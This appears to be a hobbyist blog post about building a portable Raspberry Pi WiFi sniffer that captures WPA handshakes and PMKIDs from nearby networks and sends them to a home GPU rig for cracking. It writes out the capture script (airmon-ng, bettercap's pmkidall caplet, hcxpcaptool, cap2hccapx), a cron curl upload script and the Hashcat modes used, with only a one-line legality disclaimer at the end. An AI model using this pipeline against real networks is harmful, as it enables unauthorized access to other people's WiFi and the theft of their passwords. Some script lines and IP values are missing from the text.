During quarantine I was reading up on the pwnagotchi and thought, “I could build something like that.” So, I built a portable Wifi scanner/hash catcher from parts I had laying around the house.

  1. Raspberry Pi 2 with 16GB MicroSD card
  2. Anker PowerCore Fusion 5000
  3. GL.iNet VIXMINI 300M Travel router
  4. Alfa AWUS0036NHR Wifi Adapter
  5. Misc. cables (2 micro USB, 1 Mini USB, 1 CAT-5)

DIY WiFi Sniffer components

What does it do?
Passively captures handshakes which can hopefully be cracked!

The Hardware Build
The Raspberry Pi (which I’ll shorthand as RPi from here on) and travel router both get power from the USB power brick via microUSB. The wifi adapter connects (power & data) to the RPi via MiniUSB. The travel router is connected via CAT-5 to the RPi.

I went through several iterations trying to find the best combination of:

  • Usability. Can I charge the power brick and leave everything intact?
  • Portability. Can I stuff this in a sweatshirt kangaroo pouch? Will things slide around/fall apart?
  • Reliability. Heat is a factor.

I landed on this layering:

  • Power brick on the bottom. It’s by far the heaviest component, and it really needs to be the base of everything. There are 4 felt stick-on pads strategically placed to line up with flat spots (circled in yellow) on the bottom of the RPi.
    Raspberry Pi with USB power adapter
  • RPi is up next. I put a small piece of double-sided foam on top so the router would sit close-to-level when it rests on the HDMI port.
  • I originally had the travel router rotated 90° with the power/cat-5 on the same side as the RPi power, but with a very small microUSB tipped-cable, I was able to squeeze the power cord between the RPi’s USB ports. It’s much better in this orientation because most of the cables flow out in one direction.

    The network cable just fit over the top of the USB port.
  • The wifi adapter, minus the factory case, sits on top of everything.

    The miniUSB cord is the only thing I need to unplug in order to charge the power brick. In fact, the system can still be running while charging; useful for when I get home & begin the upload.

How does it work?
Let’s start off with the Raspberry Pi 2. I didn’t purposely choose this model; it’s all I had. The important thing to note is that this model is 32-bit only and ARM-based so I could only download certain software packages. For the OS I went with the 32-bit version of Ubuntu 20.04 and installed it on the MicroSD card.

Required software

Optional software (for other fun stuff)

Networking setup

The wifi adapter is always going to be used in Monitor mode, so it doesn’t have an IP address.

The travel router’s default IP range is

The RPi’s ethernet adapter is setup for DHCP. When plugged into the travel router, it always gets the same IP address ( DHCP lets me plug it into my home network for data upload. More on that in a bit…

Sniffing bits

Now that everything is in place, I can ssh from my phone and start the listening process with this:
screen -dmS wifi ./go.sh

I use screen because it’s an easy way to fire off a script and have it run in the background.
-dm will start screen in “detached” mode
-S wifi assigns the session name “wifi”
go.sh is my shell script, shown below

sudo airmon-ng start wlan0
sudo bettercap -iface wlan0mon -caplet /usr/local/share/bettercap/caplets/pmkidall.cap
hcxpcaptool -E essidlist -I identitylist -U usernamelist -z $outfilepmkid $infile
/usr/bin/cap2hccapx.bin $infile $outfilewpa
zip handshakes.zip handshakes* essidlist
rm -f handshakes.pcap
rm $outfilepmkid
rm $outfilewpa

To reattach to the running script I use screen -r. When I’m satisfied with the amount of data I’ve captured, I exit the script, and exit screen to get back to my terminal, and now I can disconnect my phone (or even turn off the RPi).

The script, if you haven’t read through it, does the following:

  1. Puts the Wifi adapter into monitor mode
  2. Starts “bettercap” using a customized caplet* and then waits for us to reattach to screen and exit the script
  3. Runs captured packets through hxcpcaptool and spits out any pmkid packets
  4. Run captured packets through cap2hccapx and spits out any wpa handshakes
  5. Zips up both files as handshakes.zip
  6. Deletes temporary files
    *I started with an existing caplet and tweaked a few things such as the following:
    set wifi.handshakes.file /home/ubuntu/handshakes.pcap

Crack the passwords
At this point it’s a matter of getting the zip file off the RPi and onto a cracking rig. Since the RPi ethernet adapter is setup for DHCP, I can plug it into my home network (disconnect it from the travel router first, of course) and it’ll get a local address. I have a 2nd script called “upload.sh” that checks the ethernet’s IP address to see if it’s in the or range (my private/public IP ranges at home).

The script is scheduled to run every minute via crontab:
* * * * /home/ubuntu/upload.sh

When the RPi is connected to the travel router, sniffing packets, etc., the script does nothing. When connected to my home network the RPi looks for handshakes.zip and it will attempt to upload the handshakes.zip file to an internal web server. After successful upload (HTTP 200) the script will copy the file to handshakes.bak (this is just in case the upload was corrupted, etc.) and remove the original zip file so we can run more captures.

if test -f "$FILE"
  if [ `/usr/sbin/ifconfig eth0 | grep 'inet ' | grep '192.168.[12].' | wc -l` -ge 1 ]
    RESP=`curl -k -s -w "%{http_code}\n" -F 'filename=handshakes.zip' -F 'file=@/home/ubuntu/handshakes.zip'`
    if [ `echo $RESP | grep 200 | wc -l` -ge 1 ]
       cp /home/ubuntu/handshakes.zip /home/ubuntu/handshakes.bak
       rm /home/ubuntu/handshakes.zip

The Web Server

The web server’s sole job is to accept uploads, timestamp them, and load them into a queue. I wrote another program to do the processing. It checks the queue once a minute and if there are one or more items in the queue, it will dequeue an item (First In, First Out), unzip it, and invoke Hashcat on the files. I have several wordlists loaded, and for each wordlist from smallest to largest I call Hashcat twice; once with the -m2500 parameter (using the WPA file) and again with -m16800 (using the pmkid file). Then it’s a waiting game to see if it finds any passwords.

My cracking “rig” is really just a desktop machine with a GPU & Hashcat installed. I wrote the web server and dequeue/processing program in .NET Core so they’ll work on either Windows/Linux. (I’ll throw that code on GitHub at some point)

Disclaimer: don’t do illegal stuff.

The end.